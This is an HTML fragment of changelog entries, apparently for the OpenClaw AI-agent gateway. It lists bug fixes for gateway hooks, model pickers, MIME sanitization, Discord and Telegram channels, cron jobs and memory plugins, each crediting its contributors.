<li>Gateway/hooks: route non-delivered hook completion and error summaries to the target agent's main session instead of the default agent session, preserving multi-agent hook isolation. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3979541205" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/24693" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/24693/hovercard" href="https://github.com/openclaw/openclaw/issues/24693">#24693</a>; carries forward <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4288898401" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/68667" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/68667/hovercard" href="https://github.com/openclaw/openclaw/pull/68667">#68667</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/abersonFAC/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/abersonFAC">@abersonFAC</a> and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/bluesky6868/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/bluesky6868">@bluesky6868</a>.</li>
<li>Control UI/models: request the configured Gateway model-list view so dashboards with only <code>models.providers.*.models</code> show those configured models first instead of flooding the picker with the full built-in catalog. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4248445151" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/65405" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/65405/hovercard" href="https://github.com/openclaw/openclaw/issues/65405">#65405</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/wbyanclaw/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/wbyanclaw">@wbyanclaw</a>.</li>
<li>CLI/models: keep default-model and allowlist pickers on explicit <code>models.providers.*.models</code> entries when <code>models.mode</code> is <code>replace</code> instead of loading the full built-in catalog. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4245406045" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/64950" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/64950/hovercard" href="https://github.com/openclaw/openclaw/issues/64950">#64950</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/mrozentsvayg/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/mrozentsvayg">@mrozentsvayg</a>.</li>
<li>Media/security: tighten media-understanding MIME sanitization so parameterized MIME values stay end-anchored and malformed whitespace or suffix payloads are rejected before file-context handling. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3902840056" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/9795" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/9795/hovercard" href="https://github.com/openclaw/openclaw/issues/9795">#9795</a>; carries forward <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4284328200" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/68225" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/68225/hovercard" href="https://github.com/openclaw/openclaw/pull/68225">#68225</a> with related review/test context from <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4205684778" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/61016" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/61016/hovercard" href="https://github.com/openclaw/openclaw/pull/61016">#61016</a>/<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4287206480" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/68456" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/68456/hovercard" href="https://github.com/openclaw/openclaw/pull/68456">#68456</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ymaxgit/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ymaxgit">@ymaxgit</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/bluesky6868/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/bluesky6868">@bluesky6868</a>, and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/shamsulalam1114/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/shamsulalam1114">@shamsulalam1114</a>.</li>
<li>Discord: own the Carbon interaction listener and hand off Discord slash/component handling asynchronously, so compaction or long session locks no longer trip <code>InteractionEventListener</code> listener timeouts. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4340336485" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73204" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/73204/hovercard" href="https://github.com/openclaw/openclaw/issues/73204">#73204</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/slideshow-dingo/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/slideshow-dingo">@slideshow-dingo</a>.</li>
<li>Compaction/diagnostics: keep unknown compaction failure classifications stable while logging sanitized detail for unclassified provider errors such as missing Ollama provider adapters. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/gzsiang/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/gzsiang">@gzsiang</a>.</li>
<li>Models/fallbacks: record first-class <code>model.fallback_step</code> trajectory events with from/to models, failure detail, chain position, and final outcome so support exports preserve the primary model failure even when a later fallback also fails. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4329116597" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/71744" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/71744/hovercard" href="https://github.com/openclaw/openclaw/issues/71744">#71744</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/nikolaykazakovvs-ux/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/nikolaykazakovvs-ux">@nikolaykazakovvs-ux</a>.</li>
<li>Gateway/agents: block agent <code>exec</code> from launching interactive <code>openclaw channels login</code> flows and abort active agent runs after invalid-config recovery restores last-known-good config, preventing known channel-login and reload paths from wedging replies. Refs <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4331750102" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/72338" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/72338/hovercard" href="https://github.com/openclaw/openclaw/issues/72338">#72338</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/midhunmonachan/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/midhunmonachan">@midhunmonachan</a>.</li>
<li>Gateway/diagnostics: emit payload-free liveness warnings with event-loop delay, event-loop utilization, CPU-core ratio, active-session counts, and OTEL warning metrics/spans so live-but-stalled Gateways capture CPU-spin context in stability bundles and telemetry. Refs <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4331750102" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/72338" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/72338/hovercard" href="https://github.com/openclaw/openclaw/issues/72338">#72338</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/midhunmonachan/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/midhunmonachan">@midhunmonachan</a> and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/DougButdorf/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/DougButdorf">@DougButdorf</a>.</li>
<li>Gateway/startup: keep value-option foreground starts on the gateway fast path and skip proxy bootstrap unless proxy env is configured, reducing normal gateway startup RSS and avoiding full CLI graph loading. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</li>
<li>Heartbeat/models: show heartbeat model bleed guidance on context-overflow resets when the last runtime model matches configured <code>heartbeat.model</code>, so smaller local heartbeat models point users to <code>isolatedSession</code> or <code>lightContext</code> instead of only compaction-buffer tuning. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4270540769" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/67314" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/67314/hovercard" href="https://github.com/openclaw/openclaw/issues/67314">#67314</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Knightmare6890/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Knightmare6890">@Knightmare6890</a>.</li>
<li>Subagents/models: persist <code>sessions_spawn.model</code> and configured subagent models as child-session model overrides before the first turn, so spawned subagents actually run on the requested provider/model instead of reverting to the target agent default. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4340182127" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73180" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/73180/hovercard" href="https://github.com/openclaw/openclaw/issues/73180">#73180</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/danielzinhu99/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/danielzinhu99">@danielzinhu99</a>.</li>
<li>Channels/Telegram: keep webhook-mode local listeners alive and retry Telegram <code>setWebhook</code> registration after recoverable startup network failures, so transient Bot API timeouts no longer leave reverse proxies pointing at a closed listener. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4329545775" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/71834" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/71834/hovercard" href="https://github.com/openclaw/openclaw/issues/71834">#71834</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jinon86/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jinon86">@jinon86</a>.</li>
<li>Agents/ACPX: bundle the Codex ACP adapter and launch it from the isolated <code>CODEX_HOME</code> wrapper before falling back to npm, so Codex ACP startup no longer depends on live <code>npx</code> resolution or the stale <code>@zed-industries/codex-acp@^0.11.1</code> range. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4330344102" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/72037" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/72037/hovercard" href="https://github.com/openclaw/openclaw/issues/72037">#72037</a>; refs <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4340321679" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73202" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/73202/hovercard" href="https://github.com/openclaw/openclaw/issues/73202">#73202</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jasonftl/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jasonftl">@jasonftl</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/sazora/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/sazora">@sazora</a>, and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/joerod26/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/joerod26">@joerod26</a>.</li>
<li>Agents/ACPX: register the embedded ACP backend at Gateway startup through a lightweight ACP backend SDK path and without importing the heavy ACPX runtime until an ACP session or explicit startup probe needs it, reducing baseline Gateway RSS. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</li>
<li>CLI/update: keep restart health polling when the restarted Gateway is reachable but has not reported its version yet, so macOS service restarts do not fail early with <code>actual unavailable</code>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ProspectOre/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ProspectOre">@ProspectOre</a>.</li>
<li>Backup: skip installed plugin <code>extensions/*/node_modules</code> dependency trees while keeping plugin manifests and source files in archives, so local backups avoid rebuildable npm payload bloat. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4237147053" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/64144" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/64144/hovercard" href="https://github.com/openclaw/openclaw/issues/64144">#64144</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/BrilliantWang/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/BrilliantWang">@BrilliantWang</a>.</li>
<li>Cron/models: fail isolated cron runs closed when an explicit <code>payload.model</code> is not allowed or cannot be resolved, so scheduled jobs do not silently fall back to an unrelated agent default or paid route before configured provider proxies such as LiteLLM can run. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4339951821" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73146" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/73146/hovercard" href="https://github.com/openclaw/openclaw/issues/73146">#73146</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/oneandrewwang/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/oneandrewwang">@oneandrewwang</a>.</li>
<li>Memory/QMD: back off repeated chat-turn QMD open failures while still letting memory status and CLI probes recheck immediately, so a broken sidecar dependency cannot trigger active-memory or cron retry storms. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4340255740" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73188" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/73188/hovercard" href="https://github.com/openclaw/openclaw/issues/73188">#73188</a> and <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4340161415" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73176" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/73176/hovercard" href="https://github.com/openclaw/openclaw/issues/73176">#73176</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/leonlushgit/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/leonlushgit">@leonlushgit</a> and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/w3i-William/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/w3i-William">@w3i-William</a>.</li>
<li>Talk Mode: resolve <code>messages.tts.providers.&lt;id&gt;.apiKey</code> through the active runtime snapshot for <code>talk.config</code>, so Talk overlays can discover SecretRef-backed speech providers without falling back to local speech. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4339685909" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73109" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/73109/hovercard" href="https://github.com/openclaw/openclaw/issues/73109">#73109</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4339688293" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73111" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/73111/hovercard" href="https://github.com/openclaw/openclaw/pull/73111">#73111</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/omarshahine/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/omarshahine">@omarshahine</a>.</li>
<li>Memory/Ollama: resolve <code>memorySearch.provider</code> custom provider ids through their configured <code>models.providers.&lt;id&gt;.api</code> owner, so multi-GPU Ollama setups can dedicate embeddings to providers such as <code>ollama-5080</code> without losing the Ollama adapter or local auth semantics. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4339962249" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73150" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/73150/hovercard" href="https://github.com/openclaw/openclaw/issues/73150">#73150</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/oneandrewwang/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/oneandrewwang">@oneandrewwang</a>.</li>
<li>CLI/memory: skip eager context-window warmup for <code>openclaw memory</code> commands so memory search does not race unrelated model metadata discovery. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4339788493" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73123" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/73123/hovercard" href="https://github.com/openclaw/openclaw/issues/73123">#73123</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/oalansilva/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/oalansilva">@oalansilva</a> and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/neeravmakwana/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/neeravmakwana">@neeravmakwana</a>.</li>
<li>CLI/Telegram: route Telegram <code>message send</code> and poll actions through the running Gateway when available, so packaged installs use the staged <code>grammy</code> runtime deps and CLI sends return instead of hanging after the Telegram channel is active. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4339924390" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73140" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/73140/hovercard" href="https://github.com/openclaw/openclaw/issues/73140">#73140</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/oalansilva/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/oalansilva">@oalansilva</a>.</li>
<li>Plugins/runtime deps: prepare staged bundled plugin dependencies before loading packaged public surfaces, so OpenClaw's Telegram runtime/test facade loads resolve <code>grammy</code> from the managed runtime-deps stage without copying dependencies into the global package root. Refs <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4339924390" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73140" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/73140/hovercard" href="https://github.com/openclaw/openclaw/issues/73140">#73140</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/oalansilva/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/oalansilva">@oalansilva</a>.</li>
<li>Agents/exec: emit <code>(no output)</code> for silent exec update and node-host result blocks so Anthropic-compatible providers no longer reject empty tool-result text after quiet commands. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4339725017" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73117" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/73117/hovercard" href="https://github.com/openclaw/openclaw/issues/73117">#73117</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/pfrederiksen/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/pfrederiksen">@pfrederiksen</a> and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Sanjays2402/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Sanjays2402">@Sanjays2402</a>.</li>
<li>Cron/providers: preflight local Ollama and OpenAI-compatible provider endpoints before isolated cron agent turns, record unreachable local providers as skipped runs, and cache dead-endpoint probes so many jobs do not hammer the same stopped local server. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4182642667" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/58584" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/58584/hovercard" href="https://github.com/openclaw/openclaw/issues/58584">#58584</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jpeghead/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jpeghead">@jpeghead</a>.</li>
<li>Gateway/config: let config reload continue in degraded mode when invalidity is scoped to plugin entries, so incompatible plugin configs can be skipped and the Gateway restart can still pick up the rest of the config after rollbacks. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4339843720" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73131" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/73131/hovercard" href="https://github.com/openclaw/openclaw/issues/73131">#73131</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Adam-Researchh/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Adam-Researchh">@Adam-Researchh</a>.</li>
<li>Doctor/channels: suppress disabled bundled-plugin blocker warnings when a trusted external plugin owns the configured channel, so Lark/Feishu installs no longer get Feishu repair noise after switching to <code>openclaw-lark</code>. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4162464369" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/56794" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/56794/hovercard" href="https://github.com/openclaw/openclaw/issues/56794">#56794</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/wuji-tech-dev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/wuji-tech-dev">@wuji-tech-dev</a>.</li>
<li>CLI/status: show skipped fast-path memory checks as <code>not checked</code> and report active custom memory plugin runtime status from <code>status --json --all</code> without requiring built-in <code>agents.defaults.memorySearch</code>, so plugins such as memory-lancedb-pro and memory-cms no longer look unavailable when their own runtime is healthy. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4163904786" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/56968" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/56968/hovercard" href="https://github.com/openclaw/openclaw/issues/56968">#56968</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Tony-ooo/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Tony-ooo">@Tony-ooo</a> and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/aderius/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/aderius">@aderius</a>.</li>
<li>Gateway/channels: record and log unexpected clean channel monitor exits so channels that return without throwing no longer appear stopped with no error. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4339623116" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73099" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/73099/hovercard" href="https://github.com/openclaw/openclaw/issues/73099">#73099</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/balaji1968-kingler/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/balaji1968-kingler">@balaji1968-kingler</a>.</li>
<li>Discord/group chats: keep group/channel replies private by default unless the agent explicitly uses the message tool, so always-on rooms can lurk without leaking automatic final, block, preview, or status-reaction output; <code>messages.groupChat.visibleReplies: "automatic"</code> restores legacy auto-posting. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4338908935" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73046" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/73046/hovercard" href="https://github.com/openclaw/openclaw/pull/73046">#73046</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/scoootscooob/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/scoootscooob">@scoootscooob</a>.</li>
<li>Plugins/package: force nested bundled-plugin runtime dependency installs out of inherited npm dry-run mode during prepack and package smoke checks, so packed installs materialize required plugin modules instead of reporting missing bundled files. Refs <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4339840741" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73128" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/73128/hovercard" href="https://github.com/openclaw/openclaw/issues/73128">#73128</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Adam-Researchh/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Adam-Researchh">@Adam-Researchh</a>.</li>
<li>Discord: skip reaction events before REST channel fetch when notifications are off, guild reactions are disabled, or allowlist mode cannot match without channel overrides, reducing reconnect bursts that caused slow listener warnings. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4339855498" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73133" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/73133/hovercard" href="https://github.com/openclaw/openclaw/issues/73133">#73133</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/isaacsummers/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/isaacsummers">@isaacsummers</a>.</li>
<li>Channels/Telegram: centralize polling update tracking so accepted offsets remain durable across restarts, same-process handler failures can still retry, and slow offset writes cannot overwrite newer accepted watermarks. Refs <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4339707241" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73115" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/73115/hovercard" href="https://github.com/openclaw/openclaw/issues/73115">#73115</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vdruts/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vdruts">@vdruts</a>.</li>
<li>Agents/models: classify empty, reasoning-only, and planning-only terminal agent runs before accepting a model fallback candidate, so invalid or incompatible models can advance to the next configured fallback instead of returning a 30-second terminal failure. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4339707241" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73115" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/73115/hovercard" href="https://github.com/openclaw/openclaw/issues/73115">#73115</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vdruts/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vdruts">@vdruts</a>.</li>
<li>Memory/LanceDB: let embedding config use provider-backed auth profiles, environment credentials, or provider config without a separate plugin <code>embedding.apiKey</code>, so OAuth-capable embedding providers can power auto-recall/capture. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4290795041" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/68950" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/68950/hovercard" href="https://github.com/openclaw/openclaw/issues/68950">#68950</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/malshaalan-ai/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/malshaalan-ai">@malshaalan-ai</a>.</li>
<li>CLI/parents: invoking <code>openclaw &lt;parent&gt;</code> (memory, channels, plugins, approvals, devices, cron, mcp) without a subcommand now prints the parent's help and exits <code>0</code>, matching <code>&lt;parent&gt; --help</code> and the existing <code>agents</code> / <code>sessions</code> defaults so shell <code>&amp;&amp;</code> chains and pnpm wrappers no longer surface a misleading <code>ELIFECYCLE Command failed with exit code 1.</code> line. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4339375554" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73077" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/73077/hovercard" href="https://github.com/openclaw/openclaw/issues/73077">#73077</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/hclsys/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/hclsys">@hclsys</a>.</li>
<li>Plugins/hooks: time out never-settling <code>agent_end</code> observation hooks after 30 seconds and log the plugin failure, so hung embedding endpoints no longer leave memory capture silently pending forever. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4249867560" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/65544" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/65544/hovercard" href="https://github.com/openclaw/openclaw/issues/65544">#65544</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ghoc0099/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ghoc0099">@ghoc0099</a>.</li>
